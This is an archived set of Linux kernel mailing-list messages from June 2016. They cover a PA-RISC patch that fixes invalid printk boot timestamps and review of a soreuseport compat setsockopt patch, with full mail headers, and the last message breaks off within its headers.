Newsgroups: gmane.linux.ports.parisc
Subject: Re: invalid printk time during boot on PA-RISC
Date: Fri, 3 Jun 2016 19:22:31 +0200
Lines: 63
Approved: news@gmane.org
Message-ID: <20160603172231.GA4592@ls3530.box>
References: <alpine.LRH.2.02.1605310735130.6341@file01.intranet.prod.int.rdu2.redhat.com>
 <20160601211248.GA15061@p100.box>
 <20160601213628.GC5218@raspberrypi.musicnaut.iki.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1464974581 24640 80.91.229.3 (3 Jun 2016 17:23:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Jun 2016 17:23:01 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>, linux-parisc@vger.kernel.org
To: Aaro Koskinen <aaro.koskinen@iki.fi>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 03 19:22:53 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b8so8-0005J3-0H
	for glpp-linux-parisc@plane.gmane.org; Fri, 03 Jun 2016 19:22:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752853AbcFCRWv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Jun 2016 13:22:51 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:63804 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751814AbcFCRWu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Jun 2016 13:22:50 -0400
Original-Received: from ls3530.box ([92.203.38.178]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0MHH3P-1bDVdp15D1-00E1gv; Fri, 03 Jun 2016 19:22:34
 +0200
Content-Disposition: inline
In-Reply-To: <20160601213628.GC5218@raspberrypi.musicnaut.iki.fi>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:sGihnU0Tns7Qu6d+sbGWF/HVd1L94A98tkNJngY7Y0p0QUOuOyW
 XbhGMob7mcBGh6QsseZeFbIit9KFThCGTN+39NFRH44rSLNzV5HqsKyCrKlq9zLuItDrZup
 hYC/Jrqhgq51y2nLVo9GNCEQaX/AJdqz9O7D5u/m/mWFAO+fQ0jbNdk5tyMVdyCfPqahwvt
 3XyjBXgUhk10WzfWrfO6Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:6vhNxKQg3WU=:NuehCY7ktbvHh8iPU0FLqB
 ARi0cW+QELqP8EI+sz00MiFIiFSYwNksVUNQG/eh4+qX7DiDdvVVpm+fT5LaPSetv0QcSH/yI
 WKKnQbc4uLvPLKyltYDJPCyaoSrYwh/c7VlbMF24S8FxbJX4aEQJzUQ+gMhY67JvYImOliXXs
 fmWzMEaTP2NIC9hqreQtOx55U2wl/+naAisgWdtP7juZRDj/bqbXMVfrHMGMrA2z8wPQUmZrS
 OBrr4BrKm92+vWRVeCiY6qobqt7qoLy7Livu0Hne8IXBnmLgkUSZQW8fQjEZS+WLbJGXhfylK
 U5Q7BJSoBClMHHcbFQlwJ18dItCPcVH9y7Cgwk6114rewJzgpNO/NFo89Wrpuglu7vXTYLsLr
 x3RWfxOQO8OgZ8DRPrYb+aJ7/LxWQmvJWmMarWBT9tEbzQsgV/5RCOKNqQLglMW1lcvaI5Lbz
 bOY2pa/nrarL3TNGHtEUIu4ct8HzEqs6y5z8NPqY8XziwOTl+Z/NTUdQ6AdC5b4/TLBbB2qri
 pU2yvte1K38lZom1NxiyGweIjqwFPHNFMP4hb2YV+50sLTpq7AwKOlRZEesp1qYVgKvVCcaWb
 DLBBw3eAltxablvyzMvaavyYajh8FHCSyWgeFFLQUxpBExaOQW/HT0XFZ85SU+AkHoQZx3VNc
 ecj0B04kDHz4U77F9s8zJSF3kMIKlVlE6Hpk4VHSOvPAvC2gN3AHSeCZ80ozr04bp/+Z2OA5S
 8WluknaG0f0XYiojKUPDbwJ5DA6YlYLmqKXkhI42gMND7VjJfR+6XkL/LAY=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26823
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26823>

* Aaro Koskinen <aaro.koskinen@iki.fi>:
> Hi,
> 
> On Wed, Jun 01, 2016 at 11:12:48PM +0200, Helge Deller wrote:
> > It fixes the problem mostly for me, there is just one little glitch
> > left, which is that the lines "FP[x] enabled" will still print an
> > invalid time. I assume it's because when this text is printed, the
> > clock/interrupts for the just booted CPU aren't enabled yet.
> > 
> > I'm not sure it's worth trying to fix that. 
> > One could print out that info at a later time, or just disabled it.
> > 
> > Helge
> > 
> > [    5.720014] Enabling PDC_PAT chassis codes support v0.05
> > [    6.644542] Releasing cpu 1 now, hpa=fffffffffe781000
> > [    0.196000] FP[1] enabled: Rev 1 Model 20
> > [    7.088432] CPU(s): 2 out of 2 PA8800 (Mako) at 900.000000 MHz online
> 
> Some tools that analyze boot time based on dmesg might get confused.

Yes, valid point.
Updated patch below.

Helge

__________


parisc: Fix printk time during boot

Avoid showing invalid printk time stamps during boot.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index e81ccf1..5adc339 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -324,8 +324,9 @@ int init_per_cpu(int cpunum)
 		per_cpu(cpu_data, cpunum).fp_rev = coproc_cfg.revision;
 		per_cpu(cpu_data, cpunum).fp_model = coproc_cfg.model;
 
-		printk(KERN_INFO  "FP[%d] enabled: Rev %ld Model %ld\n",
-			cpunum, coproc_cfg.revision, coproc_cfg.model);
+		if (cpunum == 0)
+			printk(KERN_INFO  "FP[%d] enabled: Rev %ld Model %ld\n",
+				cpunum, coproc_cfg.revision, coproc_cfg.model);
 
 		/*
 		** store status register to stack (hopefully aligned)
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 58dd680..31ec99a 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -309,11 +309,6 @@ void __init time_init(void)
 	clocks_calc_mult_shift(&cyc2ns_mul, &cyc2ns_shift, current_cr16_khz,
 				NSEC_PER_MSEC, 0);
 
-#if defined(CONFIG_HAVE_UNSTABLE_SCHED_CLOCK) && defined(CONFIG_64BIT)
-	/* At bootup only one 64bit CPU is online and cr16 is "stable" */
-	set_sched_clock_stable();
-#endif

From - Thu Nov 08 21:38:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sergei Shtylyov <sergei.shtylyov@cogentembedded.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [PATCH] soreuseport: add compat case for setsockopt
 SO_ATTACH_REUSEPORT_CBPF
Date: Fri, 3 Jun 2016 21:11:24 +0300
Organization: Cogent Embedded
Lines: 40
Approved: news@gmane.org
Message-ID: <4cec14e5-2950-be26-1ffa-8d604bdb2fb5@cogentembedded.com>
References: <20160603171805.GA3664@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1464977507 4715 80.91.229.3 (3 Jun 2016 18:11:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Jun 2016 18:11:47 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>, Craig Gallek <kraig@google.com>,
	Alexei Starovoitov <ast@kernel.org>,
	"David S. Miller" <davem@davemloft.net>, netdev@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 03 20:11:37 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b8tZG-0005yL-Ub
	for glpp-linux-parisc@plane.gmane.org; Fri, 03 Jun 2016 20:11:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752550AbcFCSLa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Jun 2016 14:11:30 -0400
Original-Received: from mail-lf0-f43.google.com ([209.85.215.43]:36016 "EHLO
	mail-lf0-f43.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752249AbcFCSL3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Jun 2016 14:11:29 -0400
Original-Received: by mail-lf0-f43.google.com with SMTP id b73so59479051lfb.3
        for <linux-parisc@vger.kernel.org>; Fri, 03 Jun 2016 11:11:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=cogentembedded-com.20150623.gappssmtp.com; s=20150623;
        h=subject:to:references:cc:from:organization:message-id:date
         :user-agent:mime-version:in-reply-to:content-transfer-encoding;
        bh=8xYhGj53lwSqVd0YtgyNvNWyKlAD/2n74xY834jZVH8=;
        b=lgOZLNtwnphbqg7pwuPBmmJiDozytRxyDXFw95xQL2w+9/cBhibCEOvPRhieGiY4/8
         bbzZfWGGOgfQSXiP7hDZpT/qQYMgeSDxid6pTdmvxRfLo9oTMRS/S3hulgp7oNSKk/s0
         CxgrtPRCOMwYYekf84sWkwTDEWjPcS4JUNPpVfRJKohKp9KeoPcGa3hFSszcIRmAv/Wa
         3uYVqjKlP1cdzrbwNhIUHYNZ0gqY1v7OhqePUNDCX/80U4LHhciKSaS4RlRtk1ruj3mJ
         +EEIu2uMSmjWJVT9Q/RhWzq/GPnqsOewhxyh46Q71MKJYiCSdQvzaZnkg0OmwUFKdXgQ
         xSJw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:references:cc:from:organization
         :message-id:date:user-agent:mime-version:in-reply-to
         :content-transfer-encoding;
        bh=8xYhGj53lwSqVd0YtgyNvNWyKlAD/2n74xY834jZVH8=;
        b=GXKM6KBpSaXJPDPK5LZDhxC5gNr5tXWAQ2wNBVlIlQxu88rbqgyGLoBle+XEQOklcx
         WI4ggILhJJYwGhb0X8vQPJ3/6Wa1tDcRAmrr4kfQMKl4hSnveA1Urh9Rtn3c/z4btqTK
         z3eeDP/uHOAvBnGwNWHU4+seIhlAXILIJ+jhggByEVxsWZxf3+36A9z3div3z8yqXMEu
         ocW36GHBLzPbWfs9tMMyHYh7UA9UzQozdax5xjPS3NYQI4qUGrGF+9SXa1K8BfiFVZGU
         4acb8Jn0e2nKKmeWOEyn4oL3onYexTDn7PZOj5eBW5veJd4xPpJKrTkMxuc1KmRj+xo5
         s9ug==
X-Gm-Message-State: ALyK8tLjHZ1metkUx8A3kBmI6MWmex8GOIRtZ2bAiyeOFlg2SpRynhb5y/3zepe6kuSGmg==
X-Received: by 10.46.0.39 with SMTP id 39mr1358295lja.60.1464977487417;
        Fri, 03 Jun 2016 11:11:27 -0700 (PDT)
Original-Received: from wasted.cogentembedded.com ([31.173.86.122])
        by smtp.gmail.com with ESMTPSA id 83sm499579ljj.1.2016.06.03.11.11.25
        (version=TLSv1/SSLv3 cipher=OTHER);
        Fri, 03 Jun 2016 11:11:26 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.0
In-Reply-To: <20160603171805.GA3664@ls3530.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26824 gmane.linux.network:415007
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26824>

Hello.

On 06/03/2016 08:18 PM, Helge Deller wrote:

> Commit 538950a ("soreuseport: setsockopt SO_ATTACH_REUSEPORT_[CE]BPF")

    At least 12 digits must be specified for SHA1. checkpatch.pl should've 
caught this.

> missed to add the compat case for the SO_ATTACH_REUSEPORT_CBPF
> setsockoption() option.
>
> Since both SO_ATTACH_FILTER and SO_ATTACH_REUSEPORT_CBPF use a struct
> sock_fprog let's combine the handling of both.
>
> Signed-off-by: Helge Deller <deller@gmx.de>
>
> diff --git a/net/compat.c b/net/compat.c
> index 5cfd26a..7e2aac9 100644
> --- a/net/compat.c
> +++ b/net/compat.c
> @@ -309,7 +309,7 @@ void scm_detach_fds_compat(struct msghdr *kmsg, struct scm_cookie *scm)
>  	__scm_destroy(scm);
>  }
>
> -static int do_set_attach_filter(struct socket *sock, int level, int optname,
> +static int do_sockopt_fix_sock_fprog(struct socket *sock, int level, int optname,
>  				char __user *optval, unsigned int optlen)

    You need to realign this line now.

[...]

WBR, Sergei

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [PATCH] soreuseport: add compat case for setsockopt
 SO_ATTACH_REUSEPORT_CBPF
Date: Fri, 3 Jun 2016 23:09:41 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <5751F215.6080207@gmx.de>
References: <20160603171805.GA3664@ls3530.box>
 <4cec14e5-2950-be26-1ffa-8d604bdb2fb5@cogentembedded.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1464988226 10167 80.91.229.3 (3 Jun 2016 21:10:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Jun 2016 21:10:26 +0000 (UTC)
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Sergei Shtylyov <sergei.shtylyov@cogentembedded.com>,
	Craig Gallek <kraig@google.com>,
	Alexei Starovoitov <ast@kernel.org>,
	"David S. Miller" <davem@davemloft.net>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 03 23:10:10 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b8wLx-0004gd-05
	for glpp-linux-parisc@plane.gmane.org; Fri, 03 Jun 2016 23:10:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752872AbcFCVJ7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Jun 2016 17:09:59 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:49286 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752807AbcFCVJ6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Jun 2016 17:09:58 -0400
Original-Received: from [192.168.20.60] ([92.203.38.178]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0LsPwa-1bbJ6e3E3E-0124Lz; Fri, 03 Jun 2016 23:09:44
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <4cec14e5-2950-be26-1ffa-8d604bdb2fb5@cogentembedded.com>
X-Provags-ID: V03:K0:LT89L64ZrZtk5LRiApz6xV2zmssV5yo6aCYFj9YT+qokQks0Kee
 srmWxiDGERrXFwTzczMHlsBQuvmJzjh0HbS23jBeOSgJ0/NMY0x/1TFkywJJEFGHzFai0Xp
 uHlGtYJqh+RNk8DubuMPP9QqwGQLWt6iG4lMaU/aLsEsRKiXTUpAOllSXTB50GNMRjP4BGt
 LLuAYIyqyYQTTOzNoD2rw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:BC3StbaJTME=:GB3L16eJw2rhsQwsWv51DF
 y5eTicKUTwlWFv/6TyANqwuEmDkQZUqjcMLCauLm7GAvn3EcAqudZEj8Yottpy2w0a2d0lC4q
 aZqsS3OZHSfXWbCtK6R3NVAw1nIDxduPztBOtb04x5aGkLxnR3XRLSCssELrO4GsvhZUXlwyF
 T7vD2rftY+nhsiikLVxszGML34Pkf4Ja2ukxlVTUuIUPWcOcb1TM3QOWmTcEB8lChyCNX3LoT
 ciW5w5hthHxW11T/LixSJlY5VKrhgWfu49zhix8y+IWu1ia8kkd0i5V4/sB6C9nwkvOE+4NjI
 YSU+ipzFE0tTWcHd1LD55Qj9aTphVXzJWHmBUmJZc2jZgJtCfRBsBlIJIXS72AqoGJUYW1O5v
 NfTJd1rGjbfh2r5zsG4E0BjaDX+ucjwQUcMpkCtf1A0wN+kjDm/M4yeS/2D5l5efsLz8ZyI5Z
 HDr47dNMpJGOAwl71uISOwsiIiJYl3zBxZ+f5TXu4p6qgoujc0kRuKieWuSvBA/jEOc45a0wj
 wmCmQU3gurx3CgvS3gjYSrWr5XQBuW+FwvFqCYlb3sqml4/6xitKAu7A7PZuP2LlYdUqGLdTf
 eO0XdV37e1sdnMGSVYfssu8DCzrNC4oA1UOGMNUZP+FgZi4NQbYOT4JXtdrKrH4xth6u7CoDE
 GWtrBeK+jYXj5h8046GtqZ/R4xyW4xsx3t2SaTKbIYzy9T0Qn6oJqFyLcpJ/Y1HUdUoBmS+bY
 jnSRGmMCDYnmPqOELy1IGBuUa2yC51fKs75eeePZ+q+Yll9428rBd4SIiziZ1bJcNFd8Hj5T 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26825 gmane.linux.network:415045
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26825>

On 03.06.2016 20:11, Sergei Shtylyov wrote:
> Hello.
> 
> On 06/03/2016 08:18 PM, Helge Deller wrote:
> 
>> Commit 538950a ("soreuseport: setsockopt SO_ATTACH_REUSEPORT_[CE]BPF")
> 
>    At least 12 digits must be specified for SHA1. checkpatch.pl should've caught this.

Ok.

>> missed to add the compat case for the SO_ATTACH_REUSEPORT_CBPF
>> setsockoption() option.
>>
>> Since both SO_ATTACH_FILTER and SO_ATTACH_REUSEPORT_CBPF use a struct
>> sock_fprog let's combine the handling of both.
>>
>> Signed-off-by: Helge Deller <deller@gmx.de>
>>
>> diff --git a/net/compat.c b/net/compat.c
>> index 5cfd26a..7e2aac9 100644
>> --- a/net/compat.c
>> +++ b/net/compat.c
>> @@ -309,7 +309,7 @@ void scm_detach_fds_compat(struct msghdr *kmsg, struct scm_cookie *scm)
>>      __scm_destroy(scm);
>>  }
>>
>> -static int do_set_attach_filter(struct socket *sock, int level, int optname,
>> +static int do_sockopt_fix_sock_fprog(struct socket *sock, int level, int optname,
>>                  char __user *optval, unsigned int optlen)
> 
>    You need to realign this line now.

Sure, I will send an updated patch.

Any idea for a better naming than "do_sockopt_fix_sock_fprog()" ?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Craig Gallek <kraigatgoog@gmail.com>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: [PATCH] soreuseport: Fix reuseport_bpf testcase on 32bit architectures
Date: Fri, 3 Jun 2016 17:29:38 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <CAEfhGiyS1Vk=etQcdu6n6NQDvOyc7zQC47PHi=0=8Z3HyvFxBQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1464989449 29262 80.91.229.3 (3 Jun 2016 21:30:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Jun 2016 21:30:49 +0000 (UTC)
Cc: Alexei Starovoitov <ast@kernel.org>,
	"David S. Miller" <davem@davemloft.net>,
	netdev <netdev@vger.kernel.org>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: netdev-owner@vger.kernel.org Fri Jun 03 23:30:35 2016
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1b8wf6-00049e-My
	for linux-netdev-2@plane.gmane.org; Fri, 03 Jun 2016 23:29:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932761AbcFCV3m convert rfc822-to-quoted-printable (ORCPT
	<rfc822;linux-netdev-2@m.gmane.org>); Fri, 3 Jun 2016 17:29:42 -0400
Original-Received: from mail-lf0-f50.google.com ([209.85.215.50]:36344 "EHLO
	mail-lf0-f50.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752535AbcFCV3l convert rfc822-to-8bit (ORCPT
	<rfc822;netdev@vger.kernel.org>); Fri, 3 Jun 2016 17:29:41 -0400
Original-Received: by mail-lf0-f50.google.com with SMTP id b73so62260420lfb.3
        for <netdev@vger.kernel.org>; Fri, 03 Jun 2016 14:29:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:from:date:message-id:subject:to:cc
         :content-transfer-encoding;
        bh=IvK2a/eehr3V8hjQsIE7WStE7s2Ms0l8bx8+jsGBqXw=;
        b=SKdhpvX34/BSrAPYbUP5UxfYiQM25P2Rq+V4Zc5e5mN1UHV3J+I70k8gjnz9kyrhMh
         nFLCtzMzgNERxZZFG+++9EosVwIOJJPbp9AK+gOZIzS2oQibGQ7KpdsQhGf/5KXhKanl
         ASJcCJtNj6QNyvwHZUNZ+vit63NF5Yl6drnmj5+R7YzjGPSCUFoiYSNcUQTRRzjBN6mj
         57YL8hfWbvy9Kjwae3BPFU3cRNrTW/v8AsY7gFkryr07tc5hSRCU/nTzha1NaA+jfZ7b
         DaUVdi5l9ZSp/8SiQ1wWPnR9f673aJPVmBdnIMMcjrP6q7VbH2UgCHuq9L75rRFiphgj
         53ww==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:from:date:message-id:subject:to:cc
         :content-transfer-encoding;
        bh=IvK2a/eehr3V8hjQsIE7WStE7s2Ms0l8bx8+jsGBqXw=;
        b=K3kuqrY43LMtugpmT8+ZgFEvoMnCKi7KcojapwjoHBaHB65Z+ZnqvFVZllaNHzNc8z
         SmK6orhsZsv7vSWtZ+eQ5Z7MNR8BPfqXPu7Jd2h/nK7N5CysyfQb8E/13GjWFbC8aHhS
         GH1JmC9QqG5sx+TLjKWev+kR42otwKm0Dv5aMwgQ2jgzE4mG32TeQyWbWQGRlKIu0+M0
         w+iGVgPahRuuFX2Hj8ETj7NunSIAtnOnV8rbhO+3QiPiBOaaU0V2ATcBDarVdpaYzwZ9
         o8QU4f4eUK6nc78ypkvnlyWlyh8BNgMhh0Q6GLfldkqduHSXYd7glVykuyGJbU4rYroT
         4osQ==
X-Gm-Message-State: ALyK8tJdcMIk2h2sAY/P3gZLadr2dgJxUqgsZjR+upL6iD6xBGyFTFo7AIBYe0zP3BpU8A==
X-Received: by 10.25.88.197 with SMTP id m188mr1338950lfb.106.1464989379826;
        Fri, 03 Jun 2016 14:29:39 -0700 (PDT)
Original-Received: from mail-lf0-f49.google.com (mail-lf0-f49.google.com. [209.85.215.49])
        by smtp.gmail.com with ESMTPSA id c71sm626321lfe.27.2016.06.03.14.29.39
        for <netdev@vger.kernel.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 03 Jun 2016 14:29:39 -0700 (PDT)
Original-Received: by mail-lf0-f49.google.com with SMTP id b73so62260252lfb.3
        for <netdev@vger.kernel.org>; Fri, 03 Jun 2016 14:29:39 -0700 (PDT)
X-Received: by 10.25.77.71 with SMTP id a68mr1731207lfb.179.1464989378936;
 Fri, 03 Jun 2016 14:29:38 -0700 (PDT)
Original-Received: by 10.25.34.196 with HTTP; Fri, 3 Jun 2016 14:29:38 -0700 (PDT)
X-Gmail-Original-Message-ID: <CAEfhGiyS1Vk=etQcdu6n6NQDvOyc7zQC47PHi=0=8Z3HyvFxBQ@mail.gmail.com>
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:415052 gmane.linux.ports.parisc:26826
Archived-At: <http://permalink.gmane.org/gmane.linux.network/415052>

On Fri, Jun 3, 2016 at 1:19 PM, Helge Deller <deller@gmx.de> wrote:
> This fixes the following compiler warnings when compiling the
> reuseport_bpf testcase on a 32 bit platform:
>
> reuseport_bpf.c: In function =E2=80=98attach_ebpf=E2=80=99:
> reuseport_bpf.c:114:15: warning: cast from pointer to integer of iffe=
rent size [-Wpointer-to-int-cast]
>
> Signed-off-by: Helge Deller <deller@gmx.de>
Acked-by: Craig Gallek <kraig@google.com>

Thanks!


From - Thu Nov 08 21:38:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Craig Gallek <kraigatgoog@gmail.com>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: [PATCH] soreuseport: add compat case for setsockopt SO_ATTACH_REUSEPORT_CBPF
Date: Fri, 3 Jun 2016 17:33:09 -0400
Lines: 8
Approved: news@gmane.org
Message-ID: <CAEfhGiwwvwf31Dj+s0zA0bpVAZ4x4=rLuU5g217u=wRrgm07Dg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464989622 31696 80.91.229.3 (3 Jun 2016 21:33:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Jun 2016 21:33:42 +0000 (UTC)
Cc: Sergei Shtylyov <sergei.shtylyov@cogentembedded.com>,
	Alexei Starovoitov <ast@kernel.org>,
	"David S. Miller" <davem@davemloft.net>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: netdev-owner@vger.kernel.org Fri Jun 03 23:33:34 2016
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1b8wiV-00075i-Qm
	for linux-netdev-2@plane.gmane.org; Fri, 03 Jun 2016 23:33:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752952AbcFCVdP (ORCPT <rfc822;linux-netdev-2@m.gmane.org>);
	Fri, 3 Jun 2016 17:33:15 -0400
Original-Received: from mail-lf0-f44.google.com ([209.85.215.44]:34615 "EHLO
	mail-lf0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752721AbcFCVdM (ORCPT
	<rfc822;netdev@vger.kernel.org>); Fri, 3 Jun 2016 17:33:12 -0400
Original-Received: by mail-lf0-f44.google.com with SMTP id k98so62417988lfi.1
        for <netdev@vger.kernel.org>; Fri, 03 Jun 2016 14:33:12 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:from:date:message-id:subject:to:cc;
        bh=+kcTEc+VNjR/JO3XPu78KQEc9LvjA8tezx6YIuWyD3c=;
        b=f3x3MT/8UJIvlPzliEUN0drvt7J14rK7MCdA5RYQuccdEYIpHMDukDdu0sC0PFEVM9
         JP5ZbewAXA2sbABsleZyM8Yzh0mXLnsP/lW6ZHkk7nxxlY7WtEkPNIWr4JEe8A+LieUb
         mVMnIfWNZxdWHJh15uAIV0wd3pROMUBGp/+7U20Yj0616Fujoyluv5JLnwSLpboLbH0J
         i7n4Tc7AmtY5SN57v0aQxp+Qsajzn6sez6Yy/FAzlDGLtLM+kdob9WzYh4m2aTo9qNlr
